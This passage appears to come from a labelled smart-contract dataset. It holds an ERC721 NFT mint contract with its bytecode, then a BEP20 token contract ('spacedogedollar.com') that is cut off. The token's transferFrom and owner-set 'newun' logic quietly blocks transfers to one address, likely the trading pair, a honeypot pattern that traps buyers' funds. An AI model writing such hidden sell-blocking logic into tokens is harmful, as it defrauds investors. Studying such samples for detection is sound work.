+= 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract HolyRockNFT is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.35 ether; uint256 public maxSupply = 2357; uint256 public maxMintAmount = 4; uint256 public maxPurchase = 4; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); uint256 tokenCount = balanceOf(msg.sender); require(_mintAmount > 0, "The amount must be positive"); if (msg.sender != owner()) { require(!paused, "The sale must be active to mint a Holy Rock"); require(_mintAmount <= maxMintAmount, "Can only mint 4 Holy Rocks at a time"); require(supply + _mintAmount <= maxSupply, "Purchase would exceed max supply of Holy Rocks"); require(msg.value >= cost * _mintAmount, "Ether sent is less than price * amount"); require(tokenCount + _mintAmount <= maxPurchase, "Can not purchase more than 4 Holy Rocks"); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061021a5760003560e01c80635c975abb11610123578063a22cb465116100ab578063d5abeb011161006f578063d5abeb01146105dd578063da3ef23f146105f3578063e985e9c514610613578063f2c4ce1e1461065c578063f2fde38b1461067c57600080fd5b8063a22cb46514610553578063a475b5dd14610573578063b88d4fde14610588578063c6682862146105a8578063c87b56dd146105bd57600080fd5b80637f00c7a6116100f25780637f00c7a6146104d75780638da5cb5b146104f757806395d89b4114610515578063977b055b1461052a578063a0712d681461054057600080fd5b80635c975abb146104685780636352211e1461048257806370a08231146104a2578063715018a6146104c257600080fd5b806323b872dd116101a6578063438b630011610175578063438b6300146103bc57806344a0d68a146103e95780634f6ccce714610409578063518302271461042957806355f804b31461044857600080fd5b806323b872dd146103545780632f745c59146103745780633ccfd60b1461039457806342842e0e1461039c57600080fd5b8063081c8c44116101ed578063081c8c44146102d0578063095ea7b3146102e557806313faede61461030557806318160ddd14610329578063239c70ae1461033e57600080fd5b806301ffc9a71461021f57806302329a291461025457806306fdde0314610276578063081812fc14610298575b600080fd5b34801561022b57600080fd5b5061023f61023a366004612190565b61069c565b60405190151581526020015b60405180910390f35b34801561026057600080fd5b5061027461026f366004612175565b6106c7565b005b34801561028257600080fd5b5061028b61070d565b60405161024b919061239d565b3480156102a457600080fd5b506102b86102b3366004612213565b61079f565b6040516001600160a01b03909116815260200161024b565b3480156102dc57600080fd5b5061028b610834565b3480156102f157600080fd5b5061027461030036600461214b565b6108c2565b34801561031157600080fd5b5061031b600d5481565b60405190815260200161024b565b34801561033557600080fd5b5060085461031b565b34801561034a57600080fd5b5061031b600f5481565b34801561036057600080fd5b5061027461036f366004612069565b6109d8565b34801561038057600080fd5b5061031b61038f36600461214b565b610a09565b610274610a9f565b3480156103a857600080fd5b506102746103b7366004612069565b610b3d565b3480156103c857600080fd5b506103dc6103d736600461201b565b610b58565b60405161024b9190612359565b3480156103f557600080fd5b50610274610404366004612213565b610bfa565b34801561041557600080fd5b5061031b610424366004612213565b610c29565b34801561043557600080fd5b5060115461023f90610100900460ff1681565b34801561045457600080fd5b506102746104633660046121ca565b610cbc565b34801561047457600080fd5b5060115461023f9060ff1681565b34801561048e57600080fd5b506102b861049d366004612213565b610cfd565b3480156104ae57600080fd5b5061031b6104bd36600461201b565b610d74565b3480156104ce57600080fd5b50610274610dfb565b3480156104e357600080fd5b506102746104f2366004612213565b610e31565b34801561050357600080fd5b50600a546001600160a01b03166102b8565b34801561052157600080fd5b5061028b610e60565b34801561053657600080fd5b5061031b60105481565b61027461054e366004612213565b610e6f565b34801561055f57600080fd5b5061027461056e366004612121565b61112e565b34801561057f57600080fd5b506102746111f3565b34801561059457600080fd5b506102746105a33660046120a5565b61122e565b3480156105b457600080fd5b5061028b611260565b3480156105c957600080fd5b5061028b6105d8366004612213565b61126d565b3480156105e957600080fd5b5061031b600e5481565b3480156105ff57600080fd5b5061027461060e3660046121ca565b6113ec565b34801561061f57600080fd5b5061023f61062e366004612036565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561066857600080fd5b506102746106773660046121ca565b611429565b34801561068857600080fd5b5061027461069736600461201b565b611466565b60006001600160e01b0319821663780e9d6360e01b14806106c157506106c1826114fe565b92915050565b600a546001600160a01b031633146106fa5760405162461bcd60e51b81526004016106f190612402565b60405180910390fd5b6011805460ff1916911515919091179055565b60606000805461071c90612516565b80601f016020809104026020016040519081016040528092919081815260200182805461074890612516565b80156107955780601f1061076a57610100808354040283529160200191610795565b820191906000526020600020905b81548152906001019060200180831161077857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108185760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106f1565b506000908152600460205260409020546001600160a01b031690565b6012805461084190612516565b80601f016020809104026020016040519081016040528092919081815260200182805461086d90612516565b80156108ba5780601f1061088f576101008083540402835291602001916108ba565b820191906000526020600020905b81548152906001019060200180831161089d57829003601f168201915b505050505081565b60006108cd82610cfd565b9050806001600160a01b0316836001600160a01b0316141561093b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106f1565b336001600160a01b03821614806109575750610957813361062e565b6109c95760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106f1565b6109d3838361154e565b505050565b6109e233826115bc565b6109fe5760405162461bcd60e51b81526004016106f190612437565b6109d38383836116b3565b6000610a1483610d74565b8210610a765760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106f1565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610ac95760405162461bcd60e51b81526004016106f190612402565b6000610add600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b27576040519150601f19603f3d011682016040523d82523d6000602084013e610b2c565b606091505b5050905080610b3a57600080fd5b50565b6109d38383836040518060200160405280600081525061122e565b60606000610b6583610d74565b905060008167ffffffffffffffff811115610b8257610b826125d8565b604051908082528060200260200182016040528015610bab578160200160208202803683370190505b50905060005b82811015610bf257610bc38582610a09565b828281518110610bd557610bd56125c2565b602090810291909101015280610bea81612551565b915050610bb1565b509392505050565b600a546001600160a01b03163314610c245760405162461bcd60e51b81526004016106f190612402565b600d55565b6000610c3460085490565b8210610c975760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106f1565b60088281548110610caa57610caa6125c2565b90600052602060002001549050919050565b600a546001600160a01b03163314610ce65760405162461bcd60e51b81526004016106f190612402565b8051610cf990600b906020840190611ee0565b5050565b6000818152600260205260408120546001600160a01b0316806106c15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106f1565b60006001600160a01b038216610ddf5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106f1565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e255760405162461bcd60e51b81526004016106f190612402565b610e2f600061185e565b565b600a546001600160a01b03163314610e5b5760405162461bcd60e51b81526004016106f190612402565b600f55565b60606001805461071c90612516565b6000610e7a60085490565b90506000610e8733610d74565b905060008311610ed95760405162461bcd60e51b815260206004820152601b60248201527f54686520616d6f756e74206d75737420626520706f736974697665000000000060448201526064016106f1565b600a546001600160a01b031633146110f95760115460ff1615610f525760405162461bcd60e51b815260206004820152602b60248201527f5468652073616c65206d7573742062652061637469766520746f206d696e742060448201526a6120486f6c7920526f636b60a81b60648201526084016106f1565b600f54831115610fb05760405162461bcd60e51b8152602060048201526024808201527f43616e206f6e6c79206d696e74203420486f6c7920526f636b7320617420612060448201526374696d6560e01b60648201526084016106f1565b600e54610fbd8484612488565b11156110225760405162461bcd60e51b815260206004820152602e60248201527f507572636861736520776f756c6420657863656564206d617820737570706c7960448201526d206f6620486f6c7920526f636b7360901b60648201526084016106f1565b82600d5461103091906124b4565b34101561108e5760405162461bcd60e51b815260206004820152602660248201527f45746865722073656e74206973206c657373207468616e207072696365202a20604482015265185b5bdd5b9d60d21b60648201526084016106f1565b60105461109b8483612488565b11156110f95760405162461bcd60e51b815260206004820152602760248201527f43616e206e6f74207075726368617365206d6f7265207468616e203420486f6c6044820152667920526f636b7360c81b60648201526084016106f1565b60015b83811161112857611116336111118386612488565b6118b0565b8061112081612551565b9150506110fc565b50505050565b6001600160a01b0382163314156111875760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106f1565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b0316331461121d5760405162461bcd60e51b81526004016106f190612402565b6011805461ff001916610100179055565b61123833836115bc565b6112545760405162461bcd60e51b81526004016106f190612437565b611128848484846118ca565b600c805461084190612516565b6000818152600260205260409020546060906001600160a01b03166112ec5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106f1565b601154610100900460ff1661138d576012805461130890612516565b80601f016020809104026020016040519081016040528092919081815260200182805461133490612516565b80156113815780601f1061135657610100808354040283529160200191611381565b820191906000526020600020905b81548152906001019060200180831161136457829003601f168201915b50505050509050919050565b60006113976118fd565b905060008151116113b757604051806020016040528060008152506113e5565b806113c18461190c565b600c6040516020016113d593929190612258565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146114165760405162461bcd60e51b81526004016106f190612402565b8051610cf990600c906020840190611ee0565b600a546001600160a01b031633146114535760405162461bcd60e51b81526004016106f190612402565b8051610cf9906012906020840190611ee0565b600a546001600160a01b031633146114905760405162461bcd60e51b81526004016106f190612402565b6001600160a01b0381166114f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f1565b610b3a8161185e565b60006001600160e01b031982166380ac58cd60e01b148061152f57506001600160e01b03198216635b5e139f60e01b145b806106c157506301ffc9a760e01b6001600160e01b03198316146106c1565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061158382610cfd565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166116355760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106f1565b600061164083610cfd565b9050806001600160a01b0316846001600160a01b0316148061167b5750836001600160a01b03166116708461079f565b6001600160a01b0316145b806116ab57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166116c682610cfd565b6001600160a01b03161461172e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106f1565b6001600160a01b0382166117905760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106f1565b61179b838383611a0a565b6117a660008261154e565b6001600160a01b03831660009081526003602052604081208054600192906117cf9084906124d3565b90915550506001600160a01b03821660009081526003602052604081208054600192906117fd908490612488565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cf9828260405180602001604052806000815250611ac2565b6118d58484846116b3565b6118e184848484611af5565b6111285760405162461bcd60e51b81526004016106f1906123b0565b6060600b805461071c90612516565b6060816119305750506040805180820190915260018152600360fc1b602082015290565b8160005b811561195a578061194481612551565b91506119539050600a836124a0565b9150611934565b60008167ffffffffffffffff811115611975576119756125d8565b6040519080825280601f01601f19166020018201604052801561199f576020820181803683370190505b5090505b84156116ab576119b46001836124d3565b91506119c1600a8661256c565b6119cc906030612488565b60f81b8183815181106119e1576119e16125c2565b60200101906001600160f81b031916908160001a905350611a03600a866124a0565b94506119a3565b6001600160a01b038316611a6557611a6081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611a88565b816001600160a01b0316836001600160a01b031614611a8857611a888382611c02565b6001600160a01b038216611a9f576109d381611c9f565b826001600160a01b0316826001600160a01b0316146109d3576109d38282611d4e565b611acc8383611d92565b611ad96000848484611af5565b6109d35760405162461bcd60e51b81526004016106f1906123b0565b60006001600160a01b0384163b15611bf757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611b3990339089908890889060040161231c565b602060405180830381600087803b158015611b5357600080fd5b505af1925050508015611b83575060408051601f3d908101601f19168201909252611b80918101906121ad565b60015b611bdd573d808015611bb1576040519150601f19603f3d011682016040523d82523d6000602084013e611bb6565b606091505b508051611bd55760405162461bcd60e51b81526004016106f1906123b0565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506116ab565b506001949350505050565b60006001611c0f84610d74565b611c1991906124d3565b600083815260076020526040902054909150808214611c6c576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611cb1906001906124d3565b60008381526009602052604081205460088054939450909284908110611cd957611cd96125c2565b906000526020600020015490508060088381548110611cfa57611cfa6125c2565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611d3257611d326125ac565b6001900381819060005260206000200160009055905550505050565b6000611d5983610d74565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611de85760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106f1565b6000818152600260205260409020546001600160a01b031615611e4d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106f1565b611e5960008383611a0a565b6001600160a01b0382166000908152600360205260408120805460019290611e82908490612488565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611eec90612516565b90600052602060002090601f016020900481019282611f0e5760008555611f54565b82601f10611f2757805160ff1916838001178555611f54565b82800160010185558215611f54579182015b82811115611f54578251825591602001919060010190611f39565b50611f60929150611f64565b5090565b5b80821115611f605760008155600101611f65565b600067ffffffffffffffff80841115611f9457611f946125d8565b604051601f8501601f19908116603f01168101908282118183101715611fbc57611fbc6125d8565b81604052809350858152868686011115611fd557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461200657600080fd5b919050565b8035801515811461200657600080fd5b60006020828403121561202d57600080fd5b6113e582611fef565b6000806040838503121561204957600080fd5b61205283611fef565b915061206060208401611fef565b90509250929050565b60008060006060848603121561207e57600080fd5b61208784611fef565b925061209560208501611fef565b9150604084013590509250925092565b600080600080608085870312156120bb57600080fd5b6120c485611fef565b93506120d260208601611fef565b925060408501359150606085013567ffffffffffffffff8111156120f557600080fd5b8501601f8101871361210657600080fd5b61211587823560208401611f79565b91505092959194509250565b6000806040838503121561213457600080fd5b61213d83611fef565b91506120606020840161200b565b6000806040838503121561215e57600080fd5b61216783611fef565b946020939093013593505050565b60006020828403121561218757600080fd5b6113e58261200b565b6000602082840312156121a257600080fd5b81356113e5816125ee565b6000602082840312156121bf57600080fd5b81516113e5816125ee565b6000602082840312156121dc57600080fd5b813567ffffffffffffffff8111156121f357600080fd5b8201601f8101841361220457600080fd5b6116ab84823560208401611f79565b60006020828403121561222557600080fd5b5035919050565b600081518084526122448160208601602086016124ea565b601f01601f19169290920160200192915050565b60008451602061226b8285838a016124ea565b85519184019161227e8184848a016124ea565b8554920191600090600181811c908083168061229b57607f831692505b8583108114156122b957634e487b7160e01b85526022600452602485fd5b8080156122cd57600181146122de5761230b565b60ff1985168852838801955061230b565b60008b81526020902060005b858110156123035781548a8201529084019088016122ea565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061234f9083018461222c565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561239157835183529284019291840191600101612375565b50909695505050505050565b6020815260006113e5602083018461222c565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561249b5761249b612580565b500190565b6000826124af576124af612596565b500490565b60008160001904831182151516156124ce576124ce612580565b500290565b6000828210156124e5576124e5612580565b500390565b60005b838110156125055781810151838201526020016124ed565b838111156111285750506000910152565b600181811c9082168061252a57607f821691505b6020821081141561254b57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561256557612565612580565b5060010190565b60008261257b5761257b612596565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610b3a57600080fdfea2646970667358221220c581dd08b6eb581c01a4076f3d438a67d2328266024971af6485097d64b79c3f64736f6c63430008070033
[ 5, 12 ]
0xf307a215303226946402e89942ce7255bcbd5a8b
/* Check out our website https://www.spacedogedollar.com */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " $PACE"; name = "spacedogedollar.com"; decimals = 8; _totalSupply = 1000000 * 10**6 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint 